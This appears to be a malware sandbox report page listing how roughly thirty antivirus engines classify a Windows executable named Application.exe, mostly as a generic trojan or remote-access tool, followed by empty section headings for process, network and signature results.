MicroWorld-eScan	Gen:Trojan.Heur.RP.ruW@bSJZebei
Skyhigh	BehavesLike.Win32.AdwareLinkury.dh
CrowdStrike	win/malicious_confidence_100% (W)
BitDefenderTheta	AI:Packer.5FB5ACF81F
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
Cynet	Malicious (score: 100)
APEX	Malicious
Kaspersky	HEUR:Trojan.Win32.Agent.gen
BitDefender	Gen:Trojan.Heur.RP.ruW@bSJZebei
Avast	FileRepMalware [Rat]
Emsisoft	Gen:Trojan.Heur.RP.ruW@bSJZebei (B)
F-Secure	Heuristic.HEUR/AGEN.1319014
VIPRE	Gen:Trojan.Heur.RP.ruW@bSJZebei
TrendMicro	TROJ_GEN.R06CC0XL623
Trapmine	suspicious.low.ml.score
FireEye	Generic.mg.3ba788943ce69ebe
Sophos	Mal/Generic-S
SentinelOne	Static AI - Suspicious PE
Avira	HEUR/AGEN.1319014
MAX	malware (ai score=82)
Kingsoft	malware.kb.a.931
Microsoft	Trojan:Win32/Wacatac.B!ml
Arcabit	Trojan.Heur.RP.EA82A9
ZoneAlarm	UDS:Trojan.Win32.Agent.gen
GData	Gen:Trojan.Heur.RP.ruW@bSJZebei
VBA32	BScope.Trojan.Wacatac
ALYac	Gen:Trojan.Heur.RP.ruW@bSJZebei
Cylance	unsafe
Rising	Trojan.Generic@AI.98 (RDML:k/ViMpBtJGzyRg1BpQ/bJg)
MaxSecure	Trojan.Malware.300983.susgen
AVG	FileRepMalware [Rat]
Cybereason	malicious.f63d4b
DeepInstinct	MALICIOUS

Application.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All